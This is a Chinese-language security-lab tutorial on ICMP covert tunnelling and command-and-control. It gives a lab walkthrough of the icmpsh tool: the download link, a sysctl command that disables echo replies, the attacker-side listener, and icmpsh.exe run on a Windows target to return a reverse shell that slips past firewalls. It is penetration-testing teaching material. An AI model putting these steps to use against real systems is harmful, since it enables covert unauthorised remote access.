在渗透测试中我们经常会发现一个现象,有些服务器禁用了PING命令甚至是整个ICMP协议,而且这一现象在越是大型的企业中越是明显。可能你会问对于一个小小的ICMP协议来说这有必要吗,答案显然是肯定的。在以前ICMP协议可以说是十分不起眼,但就是让所有人都放松戒备的ICMP协议却成为了攻击者手中的利器。本期美创安全实验室将给大家介绍如何利用ICMP进行命令控制与搭建隐蔽隧道。
Part 1 ICMP实现命令控制原理ICMP全称是Internet控制报文协议,是Internet协议族中的一个,常用在包括路由器在内的网络设备中,用来发送错误报文和操作信息,表示所请求的服务不可用或者目标不可达。ICMP协议虽然简单实用,但他却也是一个比较特殊的协议。
举个例子来说,在一般的通信协议里,如果两台设备要进行通信,需要双方都开启某一端口,但对ICMP协议来说就不需要。最常见的PING命令,就是利用ICMP载荷发送echo请求,攻击者可以利用PING获得比回复更多的ICMP请求。
而且在一些网络环境中,防守方可能部署了很多防火墙或流量审计设备,这时攻击者想使用上层隧道,如HTTP隧道、DNS隧道等都会被拦截,但是如果能够使用PING命令访问远程目标机的话,攻击者就可以尝试建立ICMP隧道,将TCP/UDP数据封装到ICMP的PING数据包中,因为防火墙轻易不会屏蔽ping的数据包所以重构后的数据包能够成功穿过防火墙,实现不受限制的访问控制。
Part 2 利用ICMP实现命令控制1)icmpsh简介
icmpsh是一个简单的ICMP反弹shell,拥有用C,Perl和Python实现的POSIX兼容主控端和一个win32的受控端。相比其他类似的开源工具来说,icmpsh的优点是在目标机器上运行时不需要管理员权限。Icmpsh工具干净、简单并且便携。受控端(客户端)使用C语言实现。只能运行在目标Windows机器上,而主控端(服务端)由于已经有Nico Leidecker用C和Perl实现的版本,而且之后又移植到了Python上,因此可以运行在任何平台的攻击者机器中。
Icmpsh很容易被安装并用作c2通道。可以通过Github下载并在攻击者机器中部署icmpsh。
项目地址如下:
https://github.com/inquisb/icmpsh.git
2. ICMP命令控制实战
攻击机:192.168.210.38(KaliLinux)
目标机:192.168.210.102(Windows 10)
攻击机安装icmpsh。
攻击机使用以下命令关闭本机的ping回复,这样可以防止内核自己对ping包进行响应。
Sysctl -w net.ipv4.icmp_echo_ignore_all=1
启动icmpsh_m.py脚本,运行主控端,等待监听,命令格式如下:
./icmpsh_m.py
目标机同样安装好icmpsh后,直接运行icmpsh.exe。(在目标机中运行icmpsh.exe并不需要管理员权限)
Icmpsh.exe -t
此时攻击机即可接收到由目标机反弹回来的shell
使用wireshark抓取流量包可以看到,攻击机与目标机之间的通信都是ICMP协议的数据包。